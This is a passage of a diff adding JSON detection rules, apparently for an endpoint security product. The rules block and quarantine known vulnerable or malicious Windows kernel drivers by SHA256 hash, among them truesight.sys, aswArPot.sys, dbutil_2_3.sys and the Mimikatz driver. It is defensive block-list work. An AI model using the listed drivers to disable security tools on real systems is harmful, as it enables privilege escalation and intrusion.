+  "last_update": "2026-03-23T11:45:29.613735Z",
+  "creation_date": "2026-03-23T11:45:29.613737Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613743Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d0397c263d51e9fc95bcc8baf98d1a853e1c0401cd0e27c7bf5da3fba1c93a8",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "43aa8ac6-2aed-5369-a9a7-ca12b9fc6d51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818899Z",
+  "creation_date": "2026-03-23T11:45:31.818902Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818910Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bf82ad779c62df6d85fd97a21258543cf7f25947f67d9d5ce35d73a2cfef6f95",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "43b0ef74-1d6e-500b-942e-dde6933571d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968951Z",
+  "creation_date": "2026-03-23T11:45:29.968953Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968959Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6e0aa67cfdbe27a059cbd066443337f81c5b6d37444d14792d1c765d9d122dcf",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "43be0e44-e6ad-588c-9ae9-8c2cf439f831",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970623Z",
+  "creation_date": "2026-03-23T11:45:29.970626Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970634Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff3612ac3d95adc372cc9df3bdcaec657740d413d8d836bf367285acc5434085",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "43d6686c-09a3-5dc4-921e-14fa7e5b3f12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488223Z",
+  "creation_date": "2026-03-23T11:45:31.488225Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488230Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3a7e1bdc61c90808173e4745808fec9c9d21d77111bae07ae387b12782344902",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "43dc0db8-d179-5b59-95d2-c308a08103d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605891Z",
+  "creation_date": "2026-03-23T11:45:29.605893Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605899Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "accc8e337514f7a29c776518f83b925d3096d51e0aedd06ab75250c463f2a132",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "43e092c4-c9f3-59a3-8fde-808f9b9c3307",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826621Z",
+  "creation_date": "2026-03-23T11:45:30.826623Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826628Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4f981d1b09125f168c6868962dcd9e9991c494a8610874748250cfcc4af7797b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "43e96b9a-3413-5bc8-aa1a-30a5818810f2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607130Z",
+  "creation_date": "2026-03-23T11:45:29.607132Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607137Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "87e38e7aeaaaa96efe1a74f59fca8371de93544b7af22862eb0e574cec49c7c3",
+  "comment": "Dell vulnerable driver (aka dbutil_2_3.sys) [CVE-2021-21551] [https://github.com/SpikySabra/Kernel-Cactus] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "441530f7-6df6-5dfc-95a8-6016184450b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156196Z",
+  "creation_date": "2026-03-23T11:45:31.156198Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156204Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fba0815c4be3fb2b11c066560c5d0265ff94d01795a88ca74e8c7f360bdbcf7f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4419950d-04ad-5ea6-8f4d-e2ddb8dc2d44",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475475Z",
+  "creation_date": "2026-03-23T11:45:30.475478Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475487Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4225bd4ba3f5d6d5cbd0606402aedca7342e2538abf85309ed3ccef0a738cbb8",
+  "comment": "Malicious Kernel Driver (aka a26363e7b02b13f2b8d697abb90cd5c3.sys) [https://www.loldrivers.io/drivers/ef6b5fe8-6c4b-4b32-8adc-c1d8a83e8558/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4423177c-9e0b-59c9-85fe-a7e374c50dfe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830150Z",
+  "creation_date": "2026-03-23T11:45:31.830152Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85bdd4eb7868d84c15de202018937838f5c9b6b173c30cd6228cb9272b567182",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4423bf76-16fa-548e-85fd-a01e1b4beffb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811957Z",
+  "creation_date": "2026-03-23T11:45:31.811959Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811965Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ecad5289a6955e2dd72964beb6fe9d56ce961f00dad451e955af0ce399ae4c63",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "44366df7-cc5c-556a-8ebc-32014bce353b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490023Z",
+  "creation_date": "2026-03-23T11:45:31.490026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490035Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a12502e4943714591eafa4a56da73d3df723ba2f873826d6b4bd48a1929a69ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "444857d4-8300-5edd-9957-19dcd39282de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976446Z",
+  "creation_date": "2026-03-23T11:45:29.976448Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976453Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c8f9e1ad7b8cce62fba349a00bc168c849d42cfb2ca5b2c6cc4b51d054e0c497",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "444d6267-1103-5085-bbce-8c5c7ac39698",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832712Z",
+  "creation_date": "2026-03-23T11:45:30.832714Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832720Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ebd3a622b92f28e6adb3570a0b9d11c166a3df492118aa7d27608735d304da7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4465a05b-a8e3-5236-b94b-d69ecf2393d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145585Z",
+  "creation_date": "2026-03-23T11:45:32.145587Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145593Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "56ece6b6b1d2da18458c9d8edc586bd2b9f7c4b092a9745fbed659238b2b3157",
+  "comment": "Vulnerable Kernel Driver (aka pxitrig64.sys) [https://www.loldrivers.io/drivers/c8619f49-8e23-489b-9878-53d27533da15/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4480634c-180c-5b8a-b90e-d002b4460409",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617448Z",
+  "creation_date": "2026-03-23T11:45:29.617451Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617456Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c825a47817399e988912bb75106befaefae0babc0743a7e32b46f17469c78cad",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4484d04f-e24e-5e1f-85e6-b60c2c1a3479",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619829Z",
+  "creation_date": "2026-03-23T11:45:29.619832Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619839Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85c5e66f38152d17d5b580126b3348579263bbc8fd22e5417c0090fd75a330ac",
+  "comment": "Super Micro Computer dangerous update tool (aka superbmc.sys) [https://www.loldrivers.io/drivers/9074a02a-b1ca-4bfb-8918-5b88e91c04a2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "44856600-f87f-5fb5-8dcb-4feaffb7a739",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494638Z",
+  "creation_date": "2026-03-23T11:45:31.494640Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494645Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "25c22c2f8a531085ec80c2da27bd1747ff7b7aad4918b59828607edfb9f44802",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4491e865-c96f-55b6-a95f-7c0dc7c11bb4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145930Z",
+  "creation_date": "2026-03-23T11:45:32.145932Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145937Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2559a34af1cc5cd65bfd4334d053294046e05d833937e3b6fbfe7ddd381d0963",
+  "comment": "Malicious Kernel Driver (aka driver_d9f15d91.sys) [https://www.loldrivers.io/drivers/576bb95a-f15e-4a0d-bcee-08791e1504e2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "44935acf-c6ff-55a8-9f5f-03d963e5c209",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495529Z",
+  "creation_date": "2026-03-23T11:45:31.495531Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495536Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee5d373e156cff39edeb97f3c5c18ff312d2157d856cd2f594af1d7cf4e61749",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "449fb1fe-4b65-5e77-b233-a152fad8466b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494222Z",
+  "creation_date": "2026-03-23T11:45:31.494225Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494232Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2e17957495b1fd61690f4e580a3038c5dc773d86567034669d3fe0cdc35653a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "44a43175-f9c7-5fea-90dd-0ba302eb4b6a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829681Z",
+  "creation_date": "2026-03-23T11:45:31.829684Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829693Z",
+  "rule_level": null,
